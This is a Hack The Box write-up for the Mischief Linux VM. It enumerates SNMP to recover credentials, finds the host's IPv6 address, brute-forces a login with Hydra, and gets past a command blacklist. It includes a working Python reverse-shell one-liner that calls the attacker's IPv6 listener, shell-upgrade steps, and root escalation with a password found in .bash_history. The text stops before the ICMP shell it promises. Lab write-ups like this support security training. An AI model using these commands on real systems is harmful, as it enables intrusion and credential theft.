In this article, I will explain how to gain superuser privileges on Mischief VM available on Hack The Box training grounds. During this journey, you will acquire some SNMP skills, understand the IPv6 routing principles, and learn how to deal with the access control list (ACL) regulating the files and folders permissions. In the end, I will show how to write an ICMP shell in Python and test it.
The difficulty level of this Linux VM is somewhere between Medium and Hard (6.3 out of 10). Initially, Mischief was rated Insane, but some errors made by its creator have downgraded its score.
The journey to the final flag includes the following stages:
- collection and analysis of information provided by the SNMP protocol and subsequent extraction of the authentication data from command line arguments for a simple Python server;
- retrieving the IPv6 address of the target machine from SNMP output (the first method) or from its MAC address through the pivoting of another host on Hack the Box (the second method, which is based on the EUI-64 algorithm);
- detection of a web server located at the identified IPv6 address with a terminal that enables to remotely execute commands on the attacked machine;
- bypassing the filtering; this enables to inject arbitrary commands and retrieve the user’s authentication credentials;
- creation of a reverse shell using the IPv6 protocol and bypassing the iptables rules to be able to run su on behalf of www-data (because, as it turns out, the ACL is blocking the user) and launch a root session with a password ‘forgotten’ in
.bash_history
; and - icing on the cake: writing an ICMP shell in Python using the Scapy module. It enables to view results of remotely executed commands using the ping utility.
Intelligence collection
Nmap
Traditionally, I start collecting information by scanning ports with Nmap.
TCP
First, I run a simple SYN scan to check the entire range of TCP ports on the host.
root@kali:~# cat nmap/initial.nmap
# Nmap 7.70 scan initiated Mon Apr 1 16:17:45 2019 as: nmap -n -v -Pn --min-rate 5000 -oA nmap/initial -p- 10.10.10.92
Nmap scan report for 10.10.10.92
Host is up (0.045s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
3366/tcp open creativepartnr
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Apr 1 16:18:11 2019 -- 1 IP address (1 host up) scanned in 26.45 seconds
Next, I scan ports 22 and 3366 using default NSE scripts to identify the service versions.
root@kali:~# cat nmap/version.nmap
# Nmap 7.70 scan initiated Mon Apr 1 16:18:20 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/version -p22,3366 10.10.10.92
Nmap scan report for 10.10.10.92
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 1 16:18:44 2019 -- 1 IP address (1 host up) scanned in 24.05 seconds
Not much information… I can only see that:
- this is a relatively new Ubuntu build. After checking the banner containing the string with the SSH version (
OpenSSH 7.6p1 Ubuntu 4
) on launchpad.net (a resource hosting repositories of Ubuntu source packages), I realize that this is a Bionic version dated 2018.03.07. Accordingly, it is useless to search for Secure Shell exploits; and - A simple Python HTTP server with authentication runs on TCP port 3366. It would be unprofessional to blindly brute-force anything in the very beginning; so, I am going to scan UDP ports to expand the scope of my attack.
UDP
I test the waters using the -sU
flag for the UDP range.
root@kali:~# cat nmap/udp-initial.nmap
# Nmap 7.70 scan initiated Mon Apr 1 16:26:41 2019 as: nmap -n -v -Pn --min-rate 5000 -oA nmap/udp-initial -sU -p- 10.10.10.92
Nmap scan report for 10.10.10.92
Host is up (0.048s latency).
Not shown: 65534 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Apr 1 16:27:08 2019 -- 1 IP address (1 host up) scanned in 26.56 seconds
Then I make an advanced query.
root@kali:~# cat nmap/udp-version.nmap
# Nmap 7.70 scan initiated Mon Apr 1 16:27:39 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/udp-version -sU -p161 10.10.10.92
Nmap scan report for 10.10.10.92
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: b6a9f84e18fef95a00000000
| snmpEngineBoots: 19
|_ snmpEngineTime: 16h02m33s
| snmp-interfaces:
| lo
| IP address: 127.0.0.1 Netmask: 255.0.0.0
| Type: softwareLoopback Speed: 10 Mbps
| Status: up
| Traffic stats: 0.00 Kb sent, 0.00 Kb received
| Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)
| IP address: 10.10.10.92 Netmask: 255.255.255.0
| MAC address: 00:50:56:b9:7c:aa (VMware)
| Type: ethernetCsmacd Speed: 1 Gbps
| Status: up
|_ Traffic stats: 456.93 Kb sent, 39.49 Mb received
| snmp-netstat:
| TCP 0.0.0.0:22 0.0.0.0:0
| TCP 0.0.0.0:3366 0.0.0.0:0
| TCP 127.0.0.1:3306 0.0.0.0:0
| TCP 127.0.0.53:53 0.0.0.0:0
| UDP 0.0.0.0:161 *:*
| UDP 0.0.0.0:38577 *:*
|_ UDP 127.0.0.53:53 *:*
| snmp-processes:
| [... SNMP output ...]
Service Info: Host: Mischief
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 1 16:30:03 2019 -- 1 IP address (1 host up) scanned in 143.80 seconds
The situation becomes increasingly interesting: there is an SNMP server on UDP port 161, and Nmap scripts managed to retrieve some information about it. I won’t provide here the entire Nmap output (it is lengthy and not very informative), but this seems to be a good starting point for breaking into the system.
Researching SNMP – UDP port 161
What is SNMP? According to Wikipedia,
Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior. Devices that typically support SNMP include cable modems, routers, switches, servers, workstations, printers, and more. In typical uses of SNMP, one or more administrative computers called managers have the task of monitoring or managing a group of hosts or devices on a computer network. Each managed system executes a software component called an agent which reports information via SNMP to the manager.
Because of its default configuration on community strings, they are public for read-only access and private for read-write, SNMP topped the list of the SANS Institute’s Common Default Configuration Issues and was number ten on the SANS Top 10 Most Critical Internet Security Threats for the year 2000.
In other words, SNMP allows collecting and sharing information on operations performed by network hosts. Such information is organized in the Management Information Base (MIB). Object identifiers (OID) identify records in this database. For instance, identifier 1.3.6.1.2.1.4.34
describes ipAddressTable
(the table of IP addresses), while identifier 1.3.6.1.2.1.4.34.1.3
describes ipAddressIfIndex
(the interface index).
MIBs are based on the ASN.1 notation; they present the data in human-readable form; accordingly, they are not essential SNMP elements. The closest analogue is a DNS server that resolves easily readable domain names into digits constituting IP addresses.
Let’s see whether Kali Linux manages to extract any information from the SNMP service.
Configuring snmpwalk
To analyze the information provided by the target host through SNMP, I am going to use snmpwalk, a standard Linux utility for SNMP research.
If I run snmpwalk with its default settings, I would only get obscure OID values. Therefore, I will use snmp-mibs-downloader
to download and install the MIB database. Installing the utility:
Then I allow the MIB usage by commenting out the only meaningful string in /etc/snmp/snmp.conf
.
Collecting the dump
Using snmpwalk, I dump the entire SNMP traffic. I set the protocol version 2c
(the most common one) and public
community string, which is, in fact, the default password for the local authentication method.
The output is massive; so, I redirect it to snmpwalk.out
for further analysis.
Important: if you want to do the job ‘quietly’, request snmpwalk to provide only the information you really need. For instance, to get the list of running processes, use the option hrSWRunName
(OID 1.3.6.1.2.1.25.4.2.1.2
) to refine the request.
HOST-RESOURCES-MIB::hrSWRunName.1 = STRING: "systemd"
HOST-RESOURCES-MIB::hrSWRunName.2 = STRING: "kthreadd"
HOST-RESOURCES-MIB::hrSWRunName.4 = STRING: "kworker/0:0H"
HOST-RESOURCES-MIB::hrSWRunName.6 = STRING: "mm_percpu_wq"
HOST-RESOURCES-MIB::hrSWRunName.7 = STRING: "ksoftirqd/0"
HOST-RESOURCES-MIB::hrSWRunName.8 = STRING: "rcu_sched"
HOST-RESOURCES-MIB::hrSWRunName.9 = STRING: "rcu_bh"
HOST-RESOURCES-MIB::hrSWRunName.10 = STRING: "migration/0"
HOST-RESOURCES-MIB::hrSWRunName.11 = STRING: "watchdog/0"
HOST-RESOURCES-MIB::hrSWRunName.12 = STRING: "cpuhp/0"
HOST-RESOURCES-MIB::hrSWRunName.13 = STRING: "kdevtmpfs"
HOST-RESOURCES-MIB::hrSWRunName.14 = STRING: "netns"
HOST-RESOURCES-MIB::hrSWRunName.15 = STRING: "rcu_tasks_kthre"
...
List of running processes
As you remember, there is a Python HTTP server on TCP port 3366, and it requests authentication credentials. The login and password to such a server are provided to Python as command line arguments in the following form: SimpleHTTPAuthServer [-h] [--dir DIR] [--https] port key
. Accordingly, I can try searching for them in the captured dump.
To do so, I have to find the Python interpreter process among the hrSWRunName
-type records.
HOST-RESOURCES-MIB::hrSWRunName.593 = STRING: "python"
Using the received index, 593
, I request to display everything pertaining to this process in hrSWRunTable
.
HOST-RESOURCES-MIB::hrSWRunIndex.593 = INTEGER: 593
HOST-RESOURCES-MIB::hrSWRunName.593 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunID.593 = OID: SNMPv2-SMI::zeroDotZero
HOST-RESOURCES-MIB::hrSWRunPath.593 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunParameters.593 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"
HOST-RESOURCES-MIB::hrSWRunType.593 = INTEGER: application(4)
HOST-RESOURCES-MIB::hrSWRunStatus.593 = INTEGER: runnable(2)
HOST-RESOURCES-MIB::hrSWRunPerfCPU.593 = INTEGER: 1129
HOST-RESOURCES-MIB::hrSWRunPerfMem.593 = INTEGER: 13852 KBytes
HOST-RESOURCES-MIB::hrSWInstalledIndex.593 = INTEGER: 593
HOST-RESOURCES-MIB::hrSWInstalledName.593 = STRING: "tzdata-2018d-1"
HOST-RESOURCES-MIB::hrSWInstalledID.593 = OID: SNMPv2-SMI::zeroDotZero
HOST-RESOURCES-MIB::hrSWInstalledType.593 = INTEGER: application(4)
HOST-RESOURCES-MIB::hrSWInstalledDate.593 = STRING: 0-1-1,0:0:0.0
The hrSWRunParameters
string provides parameters required to launch the server: -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
; it also contains the authentication data I need: loki:godofmischiefisloki
.
IPv6 address
While reviewing the processes, I found a running apache2
server.
HOST-RESOURCES-MIB::hrSWRunName.770 = STRING: "apache2"
HOST-RESOURCES-MIB::hrSWRunName.2549 = STRING: "apache2"
HOST-RESOURCES-MIB::hrSWRunName.2550 = STRING: "apache2"
HOST-RESOURCES-MIB::hrSWRunName.2551 = STRING: "apache2"
HOST-RESOURCES-MIB::hrSWRunName.2552 = STRING: "apache2"
HOST-RESOURCES-MIB::hrSWRunName.2553 = STRING: "apache2"
Interestingly, Nmap hasn’t shown it. This may indicate that the server operates in the IPv6 environment, and it would be great to retrieve the respective IP address for an additional Nmap scanning (this time, for the IPv6 address).
IP-MIB::ipAddressType.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:7c:aa" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:7c:aa" = INTEGER: unicast(1)
PING dead:beef::0250:56ff:feb9:7caa(dead:beef::250:56ff:feb9:7caa) 56 data bytes
64 bytes from dead:beef::250:56ff:feb9:7caa: icmp_seq=1 ttl=63 time=43.5 ms
64 bytes from dead:beef::250:56ff:feb9:7caa: icmp_seq=2 ttl=63 time=42.9 ms
--- dead:beef::0250:56ff:feb9:7caa ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 4ms
rtt min/avg/max/mdev = 42.922/43.214/43.507/0.358 ms
I see a routable IPv6 address (de:ad:be:ef::02:50:56:ff:fe:b9:7c:aa
) and a link-local IPv6 address (fe:80::02:50:56:ff:fe:b9:7c:aa
); both of them will change with every VM restart.
EUI-64
Using Mischief VM as an example, let’s see how a link-local IPv6 address is generated based on a 64-bit extended unique identifier EUI-64 contained in the MAC address.
I have to be at the same Data Link layer (OSI layer 2) with the host whose address I want to find out. To demonstrate how this works, I am going to log into another virtual PC on Hack the Box: Hawk. Because all the running instances are located in the same logical segment of the (virtual) network 10.10.10.0/24
, I will be able to reach out to Mischief from Hawk. In other words, I will use Hawk as an interlink (i.e. Pivot Point).
I ping Mischief from Hawk and request the ARP table to retrieve the MAC address of Mischief VM.
PING 10.10.10.92 (10.10.10.92) 56(84) bytes of data.
64 bytes from 10.10.10.92: icmp_seq=1 ttl=64 time=64.0 ms
^C
--- 10.10.10.92 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 64.063/64.063/64.063/0.000 ms
root@hawk:~$ arp -a
_gateway (10.10.10.2) at 00:50:56:aa:f1:dd [ether] on ens33
? (10.10.10.92) at 00:50:56:b9:7c:aa [ether] on ens33
Now I have the MAC address: 00:50:56:b9:7c:aa
. To convert it into a link-local IPv6 address, the following simple steps should be performed:
- Regroup the MAC address to bring it in compliance with the IPv6 format (two-octet groups):
0050:56b9:7caa
. - Add
fe80::
in the beginning of the MAC address:fe80::0050:56b9:7caa
. - Insert
ff:fe
in the middle of the MAC address:fe80::0050:56ff:feb9:7caa
. - Invert the sixth bit of the MAC address:
fe80::0250:56ff:feb9:7caa
(it was0000 0000
; now it is0000 0010
, or0x02
). - Specify the interface after the percent symbol (because in the IPv6 environment, addresses are assigned to interfaces (i.e. not directly to hosts); so, if you don’t specify the interface, the traffic won’t know where to go):
fe80::0250:56ff:feb9:7caa%ens33
.
Checking the result:
PING fe80::0250:56ff:feb9:7caa%ens33(fe80::250:56ff:feb9:7caa%ens33) 56 data bytes
64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=1 ttl=64 time=136 ms
64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=2 ttl=64 time=0.236 ms
64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=3 ttl=64 time=0.240 ms
64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=4 ttl=64 time=0.272 ms
--- fe80::0250:56ff:feb9:7caa%ens33 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3031ms
rtt min/avg/max/mdev = 0.236/34.259/136.290/58.907 ms
It’s alive! In theory, I could continue my journey to Mischief’s flags by proxying Hawk VM (i.e. implementing the Proxy Pivoting scheme); however, there is a more exciting way to hack the target machine.
WWW
A few more tools to deal with SNMP.* snmp-check delivers a readable (although not very detailed) result out of the box; no need to install MIB. The utility is included in Kali Linux.
* onesixtyone brute-forces community strings. If the default string (public
) hadn’t worked out, I would have no choice but to use this utility.
* enyx is a short Python script allowing to find out the IPv6 address of the host in one click using SNMP. Interestingly, the author of this script is the creator of Mischief VM.
Web – TCP port 3366
So, I get back to the open ports to examine the HTTP server.
Because I already know the credentials (loki:godofmischiefisloki
) I authenticate and get on the page shown below.
I see a portrait of Loki (I won’t check it for steganography; trust me: there is nothing there) and another login:password pair: loki:trickeryanddeceit
.
Nmap IPv6
As you remember, I had earlier found a running Apache sever on the host and promised to scan the IPv6 address with Nmap. As usual, this is done in two stages:
root@kali:~# cat nmap/ipv6-initial.nmap
# Nmap 7.70 scan initiated Tue Apr 2 23:57:10 2019 as: nmap -6 -n -v -Pn --min-rate 5000 -oA nmap/ipv6-initial -p- dead:beef::0250:56ff:feb9:7caa
Nmap scan report for dead:beef::250:56ff:feb9:7caa
Host is up (0.044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Apr 2 23:57:23 2019 -- 1 IP address (1 host up) scanned in 13.65 seconds
root@kali:~# cat nmap/ipv6-version.nmap
# Nmap 7.70 scan initiated Tue Apr 2 23:58:05 2019 as: nmap -6 -n -v -Pn -sV -sC -oA nmap/ipv6-version -p22,80 dead:beef::0250:56ff:feb9:7caa
Nmap scan report for dead:beef::250:56ff:feb9:7caa
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 00:50:56:b9:7c:aa
|_ manuf: VMware
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 2 23:58:15 2019 -- 1 IP address (1 host up) scanned in 9.41 seconds
I see the SSH server again (just like it was with IPv4) and a previously concealed Apache web server on port 80. Let’s check it out.
Web – IPv6 port 80
Browser
Another login request welcomes me at http://[dead:beef::250:56ff:feb9:7caa]:80/
.
So, I have encountered another “guess the username” riddle. In fact, I can ignore it because the authentication can be bypassed (more detail in the epilogue). However, for the sake of accuracy, let’s brute-force this form with THC-Hydra.
I create a file containing the possible passwords (as you remember, both of them are present on the HTTP server).
godofmischiefisloki
trickeryanddeceit
Then I grab the list of usernames from the SecLists collection and launch a brute force attack. As a failure marker, I use the line Sorry, those credentials do not match
returned by the server after an unsuccessful authentication attempt.
/login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match
‘Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-04-04 23:33:58
[DATA] max 4 tasks per 1 server, overall 4 tasks, 34 login tries (l:17/p:2), ~9 tries per task
[DATA] attacking http-post-form://[dead:beef:0000:0000:0250:56ff:feb9:7caa]:80/login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match
...
[80][http-post-form] host: dead:beef:0000:0000:0250:56ff:feb9:7caa login: administrator password: trickeryanddeceit
[STATUS] attack finished for dead:beef:0000:0000:0250:56ff:feb9:7caa (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-04-04 23:34:00
Success! I’ve got valid logon credentials: administrator:trickeryanddeceit
.
Command Execution Panel
After the successful authentication, I get access to a window enabling remote command execution (RCE); it offers me to ping the localhost.
Why not follow the recommendation? To ensure that the command is executed correctly, I will replace 127.0.0.1 with the IP address of my own machine. I launch tcpdump to see the response to the ICMP request from 10.10.10.92 and start pinging.
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
01:08:50.065483 IP 10.10.10.92 > 10.10.14.11: ICMP echo request, id 1490, seq 1, length 64
01:08:50.065501 IP 10.10.14.11 > 10.10.10.92: ICMP echo reply, id 1490, seq 1, length 64
01:08:51.050468 IP 10.10.10.92 > 10.10.14.11: ICMP echo request, id 1490, seq 2, length 64
01:08:51.050485 IP 10.10.14.11 > 10.10.10.92: ICMP echo reply, id 1490, seq 2, length 64
^C
4 packets captured
4 packets received by filter
0 packets dropped by kernel
The command was executed successfully; so, I can continue the experiment.
Filtering commands
If you try using nc
to initiate a reverse connection, you’ll be disappointed.
Apparently, a WAF-like process is running on the target machine and blocking commands containing blacklisted words. I have to retrieve the session cookie to find out which commands are allowed and which are not. To do so, I send such requests to the web server using curl.
<!DOCTYPE html>
<html>
<title>Command Execution Panel (Beta)</title>
<head>
<link rel="stylesheet" type="text/css" href="assets/css/style.css">
<link href="http://fonts.googleapis.com/css?family=Comfortaa" rel="stylesheet" type="text/css">
</head>
<body>
<div class="header">
<a href="/">Command Execution Panel</a>
</div>
<br />Welcome administrator
<br /><br />
<a href="logout.php">Logout?</a>
<form action="/" method="post">
Command: <br>
<input type="text" name="command" value="ping -c 2 127.0.0.1"><br>
<input type="submit" value="Execute">
</form>
<p>
<p>
<p>In my home directory, i have my password in a file called credentials, Mr Admin
<p>
</body>
</html>
Command is not allowed.
To automate the process, let’s write a short Bash script that will take the wordlist containing commands to be checked as an input (the commands can be taken from here):
#!/usr/bin/env bash
## Usage: ./test_waf_blacklist <IP_STR> <COOKIE_STR> <DICT_FILE>
IP=$1
COOKIE=$2
DICT=$3
G="\033[1;32m" # GREEN
R="\033[1;31m" # RED
NC="\033[0m" # NO COLOR
for cmd in $(cat ${DICT}); do
curl -6 -s -X POST "http://[${IP}]:80/" -H "Cookie: ${COOKIE}" -d "command=${cmd}" | grep -q "Command is not allowed."
if [ $? -eq 1 ]; then
echo -e "${G}${cmd}${NC} allowed"
else
echo -e "${R}${cmd}${NC} blocked"
fi
done
Below is a partial result of its work.
In the end of this article, I will address the filtering process in more detail.
Hijacking the Loki account
Reviewing command results
How the result of a command called in the Command Execution Panel is analyzed? In my opinion, the most likely scenario is this. The output is redirected to /dev/null
, and the execution success is checked based on the return code. But the problem is that the piping and redirection mechanism in Bash is far from intuitive, while the price of a misconfig may be pretty high. For instance, if you incorrectly set up the redirection for two stacked (i.e. separated by ;
) commands, only the result of the last command in the chain would be sent to /dev/null
, while results of the previous command would go to stdout.
Therefore, after executing two stacked commands: whoami; echo
, I was not really surprised with the result
So, I can see the output of an executed command… I must say that this hacking mechanism is not the one intended by the creator of the VM. But who cares? The first method I use to hijack the Loki’s account exploits this configuration error.
Method 1: /home/loki/credentials
The web interface of the Command Execution Panel displays a hint indicating where the user credentials are located. But you cannot simply type cat /home/loki/credentials;
to get Loki’s login information because the word credentials
is blacklisted.
However, the screenshot demonstrates that I can call credentials
using credential?
or cred*
. That’s great, but first, I have to write a script to perform such operations without exiting the terminal. Using grep
and regular expressions, I am going to grab only the output of the executed command and exclude the page source code from the results of the curl command.
#!/usr/bin/env bash
## Usage: ./command_execution_panel.sh <IP_STR> <COOKIE_STR>
IP=$1
COOKIE=$2
while :
do
read -p "mischief> " CMD
curl -6 -s -X POST "http://[${IP}]:80/" -H "Cookie: ${COOKIE}" -d "command=${CMD};" | grep -F "</html>" -A 10 | grep -vF -e "</html>" -e "Command was executed succesfully!"
echo
done
I test the script on standard commands that I always try on a new VM.
mischief> whoami
www-data
mischief> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
mischief> uname -a
Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
And then I grab the SSH authentication credentials.
mischief> cat /home/loki/cred*
pass: lokiisthebestnorsegod
Finally, I can initiate an SSH connection as loki:lokiisthebestnorsegod
.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Last login: Sat Jul 14 12:44:04 2018 from 10.10.14.4
And here is the first flag: the user’s one.
user.txt
bf58078e????????????????????????
Method 2: reverse shell
The local WAF does not block python
; so, I am going to craft a reverse shell on its basis and try to get a response. The code is standard: I connect to a remote socket at the specified address and port, create three standard file descriptors (0
, 1
, and 2
), ensure that the history is sent to /dev/null
, and spawn a PTY shell with the interpreter process /bin/sh
(because the word bash is blacklisted by the WAF).
#!/usr/bin/python
## -*- coding: utf-8 -*-
import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.14", 31337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", "/dev/null")
pty.spawn("/bin/sh")
s.close()
In the field, such code is executed in one string; the -c
flag sends this string to Python for execution directly from the terminal.
mischief> python -c ‘import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“10.10.14.14”,31337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv(“HISTFILE”,”/dev/null”); pty.spawn(“/bin/sh”); s.close()’
Too bad, no response. The shell did not return anything. However, based on a distinctive ‘freezing’ during the execution of the last command, I suppose that the outgoing IPv4 traffic is filtered. I try the same command for IPv6 and successfully intercept a response by a listener launched beforehand.
mischief> python -c ‘import socket,os,pty; s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM); s.connect((“dead:beef:2::1009”,31337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv(“HISTFILE”,”/dev/null”); pty.spawn(“/bin/sh”); s.close()’
The netcat utility with the -6
flag is used to listen on IPv6.
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Connection from dead:beef::250:56ff:feb9:7caa.
Ncat: Connection from dead:beef::250:56ff:feb9:7caa:47306.
root@kali:~# whoami
whoami
www-data
Upgrade to a fully interactive shell
It’s useful to know how to upgrade a clumsy reverse shell to a full-featured interactive shell supporting such features as command autocompletion (by the Tab key) and control symbols, including the up and down arrow keys, CTRL-R to search the history, CTRL-C to kill a process within the shell (while not killing the shell), etc.
In Linux, this can be done as follows.
1. Spawn a regular PTY shell.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Mischief:/var/www/html$
2. Send the remote shell into background to configure the local terminal.
root@kali:~#
3. Find out the size of the terminal window by filtering out the output of the stty -a
command.
rows 60
columns 200
4. Disable the echo in the local terminal (to make sure that commands entered in the console mode are not duplicated), switch to the raw
mode (also in the local terminal), and wake up the ‘sleeping’ reverse shell process.
5. Adjust the remote terminal to the same height and width as the one on the attacking machine (to avoid watching distorted command outputs).
6. Set the value of the environment variable TERM to display outputs in color (provided that the installed terminal supports this feature).
7. Finally, restart the shell to enable the interpreter to apply the new TERM value.
Now you can enjoy stable work on a remote host with all benefits provided by an interactive shell.
Going back to Mischief VM: after creating a reverse shell, I use the su
command to escalate from the current user to Loki (as you remember, I already know the password).
Password: lokiisthebestnorsegod
loki@Mischief:~$ whoami
loki
Time to capture the Loki’s flag.
bf58078e????????????????????????
PrivEsc: loki → root
Password in .bash_history
After exploring the host for a while, I found in .bash_history
a password to the Python server resembling one of the passwords discovered earlier.
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
free -mt
ifconfig
cd /etc/
sudo su
su
exit
su root
ls -la
sudo -l
ifconfig
id
cat .bash_history
nano .bash_history
exit
But it turned out to be the root password: root:lokipasswordmischieftrickery
…
su on behalf of loki
Being authorized as loki, I cannot escalate my privileges using su
.
-bash: /bin/su: Permission denied
Why? Good question. Anyone can execute a binary file…
-rwsr-xr-x+ 1 root root 44664 Jan 25 2018 /bin/su
…but the plus symbol at the end of the main access rules indicates that additional rules have been applied to the file; namely, an access-control list (ACL) mechanism.
Access Control Lists
Unfortunately, the standard model for access rights differentiation used in Unix (user/group/other) is not too flexible; it is suited only for simple user hierarchy schemes. To implement more complex access rights structures, an additional security mechanism, ACL (Access Control Lists), has been introduced. It allows to fine-tune file and directory access policies for users and groups.
Using the getfacl
, I display the ACL listing for the object (file) /bin/su
and examine each of the settings.
getfacl: Removing leading '/' from absolute path names
# file: bin/su
– file name# owner: root
– file owner (basic Unix permissions)# group: root
– file group (basic Unix permissions)# flags: s--
– flags determining whether setuid, setgid, and sticky bits, respectively, are setuser::rwx
– basic Unix rules for a fileuser:loki:r--
– ACL permissions for a filegroup::r-x
– basic Unix permissions for the file groupmask::r-x
– effective mask (restriction of maximum permissions for the file)other::r-x
– basic permissions of other Unix usersAs you can see, Loki can read the file /bin/su
, but cannot execute it. The same situation is with sudo.
getfacl: Removing leading '/' from absolute path names
# file: usr/bin/sudo
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
By the way, the getfacl
command can also be used to view all objects (i.e. files and directories) whose access permissions are regulated by the ACL rules.
//usr/bin/sudo
//bin/su
Therefore, I have to find another way to enter the superusers’ credentials.
Method 1: su on behalf of www-data
This way is pretty straightforward: I get back to my command_execution_panel.sh
, trigger the shell again, and escalate privileges to root from there.
Password: lokipasswordmischieftrickery
root@Mischief:~# whoami
root
root@Mischief:~# id
uid=0(root) gid=0(root) groups=0(root)
Method 2: su on behalf of systemd-run
I cannot use su to change the user, but I can do this through the systemd
service manager using a unit created during the runtime. Of course, I won’t get a shell ‘here and now’ this way, but I will be able to initiate an IPv6 reverse shell (as I did earlier).
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to manage system services or other units.
Authenticating as: root
Password: lokipasswordmischieftrickery
==== AUTHENTICATION COMPLETE ===
Running as unit: run-u19.service
Getting the callback.
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from dead:beef::250:56ff:feb9:7caa.
Ncat: Connection from dead:beef::250:56ff:feb9:7caa:47312.
root@kali:~# whoami
whoami
root
Searching for root txt
